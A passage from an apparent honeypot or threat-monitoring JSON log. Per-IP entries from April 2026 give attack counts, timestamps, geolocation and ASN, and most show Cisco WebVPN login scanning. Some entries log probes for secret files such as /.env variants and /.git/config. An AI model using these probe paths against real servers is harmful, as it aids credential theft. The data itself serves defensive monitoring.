        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "34.224.57.237": {
      "attack_count": 2,
      "first_seen": "2026-04-20T00:55:48.336Z",
      "last_seen": "2026-04-20T00:55:51.339Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "35.171.19.100": {
      "attack_count": 2,
      "first_seen": "2026-04-06T00:58:21.399Z",
      "last_seen": "2026-04-19T00:56:43.089Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "45.156.129.54": {
      "attack_count": 2,
      "first_seen": "2026-04-29T13:18:52.811Z",
      "last_seen": "2026-04-29T13:18:55.815Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "100.31.213.204": {
      "attack_count": 1,
      "first_seen": "2026-04-03T00:58:39.334Z",
      "last_seen": "2026-04-03T00:58:39.334Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "103.27.76.106": {
      "attack_count": 1,
      "first_seen": "2026-04-01T20:47:20.456Z",
      "last_seen": "2026-04-01T20:47:20.456Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 979,
      "as_org": "NetLab Global"
    },
    "3.82.104.80": {
      "attack_count": 1,
      "first_seen": "2026-04-20T00:56:32.349Z",
      "last_seen": "2026-04-20T00:56:32.349Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "34.201.57.118": {
      "attack_count": 1,
      "first_seen": "2026-04-05T00:56:00.208Z",
      "last_seen": "2026-04-05T00:56:00.208Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "44.202.144.21": {
      "attack_count": 1,
      "first_seen": "2026-04-18T00:53:40.983Z",
      "last_seen": "2026-04-18T00:53:40.983Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "58.245.27.198": {
      "attack_count": 1,
      "first_seen": "2026-04-03T01:53:18.104Z",
      "last_seen": "2026-04-03T01:53:18.104Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone"
    },
    "64.62.156.79": {
      "attack_count": 1,
      "first_seen": "2026-04-21T10:26:39.979Z",
      "last_seen": "2026-04-21T10:26:39.979Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "87.236.176.10": {
      "attack_count": 1,
      "first_seen": "2026-04-02T09:53:46.164Z",
      "last_seen": "2026-04-02T09:53:46.164Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "91.196.152.135": {
      "attack_count": 1,
      "first_seen": "2026-04-23T01:23:06.713Z",
      "last_seen": "2026-04-23T01:23:06.713Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.196.152.55": {
      "attack_count": 1,
      "first_seen": "2026-04-26T20:20:14.269Z",
      "last_seen": "2026-04-26T20:20:14.269Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.224": {
      "attack_count": 1,
      "first_seen": "2026-04-26T18:27:09.727Z",
      "last_seen": "2026-04-26T18:27:09.727Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.104": {
      "attack_count": 1,
      "first_seen": "2026-04-02T03:15:19.060Z",
      "last_seen": "2026-04-02T03:15:19.060Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.217": {
      "attack_count": 1,
      "first_seen": "2026-04-30T03:30:14.166Z",
      "last_seen": "2026-04-30T03:30:14.166Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "194.180.49.49": {
      "attack_count": 141,
      "first_seen": "2026-04-27T01:54:12.162Z",
      "last_seen": "2026-04-27T01:55:58.362Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /.docker/.env HTTP/1.1\" 404 -",
        "\"GET /.env HTTP/1.1\" 404 -",
        "\"GET /.git/HEAD HTTP/1.1\" 404 -",
        "\"GET /.git/config HTTP/1.1\" 404 -",
        "\"GET /ADMIN/.git/config HTTP/1.1\" 404 -",
        "\"GET /API/.git/config HTTP/1.1\" 404 -",
        "\"GET /APP/.git/config HTTP/1.1\" 404 -",
        "\"GET /Api/.git/config HTTP/1.1\" 404 -",
        "\"GET /BACK/.git/config HTTP/1.1\" 404 -",
        "\"GET /BACKEND/.git/config HTTP/1.1\" 404 -",
        "\"GET /BE/.git/config HTTP/1.1\" 404 -",
        "\"GET /Backend/.git/config HTTP/1.1\" 404 -",
        "\"GET /Be/.git/config HTTP/1.1\" 404 -",
        "\"GET /FE/.git/config HTTP/1.1\" 404 -",
        "\"GET /FRONT/.git/config HTTP/1.1\" 404 -",
        "\"GET /FRONTEND/.git/config HTTP/1.1\" 404 -",
        "\"GET /Fe/.git/config HTTP/1.1\" 404 -",
        "\"GET /Lara/.git/config HTTP/1.1\" 404 -",
        "\"GET /Laravel/.git/config HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 201814,
      "as_org": "MEVSPACE sp. z o.o."
    },
    "37.19.221.140": {
      "attack_count": 69,
      "first_seen": "2026-04-08T20:38:04.717Z",
      "last_seen": "2026-04-29T21:34:05.193Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "72.11.154.226": {
      "attack_count": 50,
      "first_seen": "2026-04-18T17:29:15.955Z",
      "last_seen": "2026-04-19T00:16:54.679Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 36352,
      "as_org": "HostPapa"
    },
    "79.127.222.217": {
      "attack_count": 33,
      "first_seen": "2026-04-13T11:45:12.746Z",
      "last_seen": "2026-04-29T23:47:49.215Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "McAllen",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "23.234.99.197": {
      "attack_count": 30,
      "first_seen": "2026-04-11T04:13:20.093Z",
      "last_seen": "2026-04-25T11:26:35.004Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.132": {
      "attack_count": 27,
      "first_seen": "2026-04-08T16:56:13.581Z",
      "last_seen": "2026-04-28T04:27:43.412Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.205": {
      "attack_count": 27,
      "first_seen": "2026-04-11T08:41:47.492Z",
      "last_seen": "2026-04-29T13:44:36.734Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "138.199.43.101": {
      "attack_count": 24,
      "first_seen": "2026-04-10T10:18:10.797Z",
      "last_seen": "2026-04-25T00:10:43.506Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.89.157": {
      "attack_count": 24,
      "first_seen": "2026-04-10T18:21:43.333Z",
      "last_seen": "2026-04-28T06:46:38.939Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.92.100": {
      "attack_count": 24,
      "first_seen": "2026-04-08T15:24:42.184Z",
      "last_seen": "2026-04-25T08:05:52.647Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "104.28.164.243": {
      "attack_count": 23,
      "first_seen": "2026-04-22T05:00:39.708Z",
      "last_seen": "2026-04-22T05:37:25.964Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /.env.backup HTTP/1.1\" 404 -",
        "\"GET /.env.bak HTTP/1.1\" 404 -",
        "\"GET /.env.dev HTTP/1.1\" 404 -",
        "\"GET /.env.development.local HTTP/1.1\" 404 -",
        "\"GET /.env.docker HTTP/1.1\" 404 -",
        "\"GET /.env.live HTTP/1.1\" 404 -",
        "\"GET /.env.local HTTP/1.1\" 404 -",
        "\"GET /.env.old HTTP/1.1\" 404 -",
        "\"GET /.env.prod HTTP/1.1\" 404 -",
        "\"GET /.env.production.local HTTP/1.1\" 404 -",
        "\"GET /.env.staging HTTP/1.1\" 404 -",
        "\"GET /.env.test HTTP/1.1\" 404 -",
        "\"GET /config/.env HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Aulnay-sous-Bois",
      "asn": 13335,
      "as_org": "Cloudflare, Inc."
    },
    "23.234.79.30": {
      "attack_count": 22,
      "first_seen": "2026-04-08T22:55:29.646Z",
      "last_seen": "2026-04-29T16:01:30.649Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.159.127.34": {
      "attack_count": 22,
      "first_seen": "2026-04-13T07:36:43.367Z",
      "last_seen": "2026-04-14T01:05:21.915Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "68.235.46.109": {
      "attack_count": 21,
      "first_seen": "2026-04-11T01:01:25.793Z",
      "last_seen": "2026-04-29T21:06:06.213Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.171": {
      "attack_count": 21,
      "first_seen": "2026-04-08T22:53:17.103Z",
      "last_seen": "2026-04-27T16:03:15.818Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.88": {
      "attack_count": 21,
      "first_seen": "2026-04-18T21:25:37.718Z",
      "last_seen": "2026-04-29T13:07:28.015Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.102.246.31": {
      "attack_count": 18,
      "first_seen": "2026-04-10T16:52:34.239Z",
      "last_seen": "2026-04-29T17:01:03.233Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "149.40.50.117": {
      "attack_count": 18,
      "first_seen": "2026-04-10T13:30:53.625Z",
      "last_seen": "2026-04-29T16:00:36.882Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.109.233": {
      "attack_count": 18,
      "first_seen": "2026-04-12T00:56:41.704Z",
      "last_seen": "2026-04-29T22:39:14.909Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.111.31": {
      "attack_count": 18,
      "first_seen": "2026-04-13T07:52:27.010Z",
      "last_seen": "2026-04-27T17:56:21.830Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.82.227": {
      "attack_count": 18,
      "first_seen": "2026-04-18T19:43:29.632Z",
      "last_seen": "2026-04-26T02:31:09.238Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "118.193.32.88": {
      "attack_count": 16,
      "first_seen": "2026-04-21T19:09:30.193Z",
      "last_seen": "2026-04-21T19:10:12.130Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "141.133.4.20": {
      "attack_count": 15,
      "first_seen": "2026-04-13T12:51:39.462Z",
      "last_seen": "2026-04-14T02:04:58.322Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Paw Paw",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "149.40.50.115": {
      "attack_count": 15,
      "first_seen": "2026-04-10T18:04:03.736Z",
      "last_seen": "2026-04-25T00:02:14.551Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "155.2.191.69": {
      "attack_count": 15,
      "first_seen": "2026-04-10T16:17:13.526Z",
      "last_seen": "2026-04-28T00:53:55.215Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "176.100.145.62": {
      "attack_count": 15,
      "first_seen": "2026-04-13T11:15:38.986Z",
      "last_seen": "2026-04-15T05:21:14.508Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "23.234.105.231": {
      "attack_count": 15,
      "first_seen": "2026-04-10T16:09:23.391Z",
      "last_seen": "2026-04-23T08:43:57.121Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.118.100": {
      "attack_count": 15,
      "first_seen": "2026-04-08T20:20:11.826Z",
      "last_seen": "2026-04-29T04:18:13.697Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.78.61": {
      "attack_count": 15,
      "first_seen": "2026-04-13T15:21:33.918Z",
      "last_seen": "2026-04-29T20:02:28.413Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "172.120.53.76": {
      "attack_count": 14,
      "first_seen": "2026-04-12T01:26:18.321Z",
      "last_seen": "2026-04-13T10:27:46.117Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "138.199.43.94": {
      "attack_count": 12,
      "first_seen": "2026-04-10T02:25:05.453Z",
      "last_seen": "2026-04-29T05:10:26.826Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "146.70.172.176": {
      "attack_count": 12,
      "first_seen": "2026-04-11T05:40:53.781Z",
      "last_seen": "2026-04-30T05:40:33.493Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "185.141.119.153": {
      "attack_count": 12,
      "first_seen": "2026-04-16T07:48:50.119Z",
      "last_seen": "2026-04-29T04:34:51.640Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Detroit",
      "asn": 207990,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.168.216.227": {
      "attack_count": 12,
      "first_seen": "2026-04-08T21:16:57.140Z",
      "last_seen": "2026-04-25T10:48:58.494Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 399935,
      "as_org": "Hayashimo LLC"
    },
    "23.234.110.157": {
      "attack_count": 12,
      "first_seen": "2026-04-18T06:25:25.444Z",
      "last_seen": "2026-04-25T14:18:10.835Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.118.227": {
      "attack_count": 12,
      "first_seen": "2026-04-11T03:56:54.525Z",
      "last_seen": "2026-04-23T13:29:56.013Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.119.100": {
      "attack_count": 12,
      "first_seen": "2026-04-11T09:49:52.515Z",
